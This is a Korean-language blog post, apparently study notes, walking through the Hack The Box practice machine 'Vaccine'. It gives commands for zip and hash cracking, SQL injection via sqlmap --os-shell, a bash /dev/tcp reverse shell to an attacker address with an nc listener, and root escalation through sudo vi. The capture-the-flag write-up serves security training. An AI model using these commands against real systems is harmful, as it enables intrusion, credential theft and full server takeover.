▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier2 Vaccien


Nmap

sudo nmap 10.129.6.4 -p- -Pn --open -sV -sC --min-rate 2000

Task

  • FTP
    • get으로 파일 다운 (backup.zip)
  • zip
    • password가 걸려있음

jcrackzip

fcrackzip -D -p <wordlist> -u <zipfile>
  • 사용한 명령
    • fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

찾아보니 zip2john 명령으로도 크랙이 가능.

zip2john

zip2john <filename> > hash.txt

위 명령을 사용하면 해시 파일이 나옴 그걸 john으로 크랙하면 됨.

john hash.txt

또는

john -w <wordlist> hash.txt
  • index.php
    • 내부에 admin 유저의 정보가 담겨 있음 (패스워드가 md5로 해시화)
    • crackstation에서 크랙해보면 패스워드가 나옴
  • http
    • (ssh 서비스에 접속을 시도하였으나 되지 않았음)
    • 웹서비스가 열려있으니 접속해서 admin으로 로그인
    • 데이터를 검색하는 기능이 있는것 같은데, sqli가 동작한다는 것을 알 수 있음
    • sqlmap으로 탐색
      • 검색 요청 패킷을 잡아서 패킷 내용을 request.txt 로 저장
sqlmap -u "http://<targetip>/dashboard.php?search=test" --os-shell --cookie="<session-value>"
  • --os-shell : SQLi를 발판으로 대상 서버의 운영체제 명령을 대화형 셸처럼 실행할 수 있도록 해주는 옵션. (개사기네…)
    • 이게 가능하다면 sql로 rce가 된다는 소리이다. (점검)
  • 접속해보면 sql를 통해 실행되기에 정상적으로 명령이 되는게 있고 안되는게 있다. 그래서 리버스 쉘을 사용해 안정적으로 쉘을 이용해줄 것이다.
  • Reverse shell 타겟에서는
bash -c "bash -i >& /dev/tcp/10.10.15.16/1337 0>&1"

공격자에서는

nc -lnvp 1337

리버스 쉘도 파이프 형식이라 불안정하므로 python으로 다른 tty 세션을 열어 거기에 붙여주자.

python3 -c 'import pty;pty.spawn("/bin/bash")'
  • postgres 홈디렉터리에 user.txt에서 플래그를 획득할 수 있다.

privilege escalation

  • /var/www/html
    • 해당 디렉터리는 웹 서버의 기본 문서 루트 디렉터리이다.
    • ubuntu/debian 계열에서 apache를 쓰면 기본으로 해당 디렉터리에 파일들이 모이게 된다.
    • 여기서 postgres 유저의 패스워드를 얻을 수 있다.
      • dashboard.php 에서 데이터 베이스 접속을 위한 접속 정보가 그대로 담겨있다.
  • 얻은 정보로 sudo -l 을 사용하여 현재 사용자가 root 권한으로 실행 가능한 명령이 뭐가 있는지 알아볼 수 있다.
    • /bin/vi /etc/postgresql/11/main/pg_hba.conf
    • 특정 파일을 vi로 열 수 있는 sudo 권한이 존재하는 것을 알 수 있다.
    • vi로 해당 파일을 열면 sudo 권한으로 열리는건데, root 권한으로 열린 해당 프로세스에서 쉘을 실행시키면 된다.

vi command

  • vi 에서 명령 모드로 전환하면 간단한 쉘 명령을 사용할 수 있다.
:set shell=/bin/sh
:shell

그렇게 하면 root로 쉘을 띄울 수 있다. (쉘이 이상하면 reset으로 입력형태를 초기화해주자.)


← ALL POSTS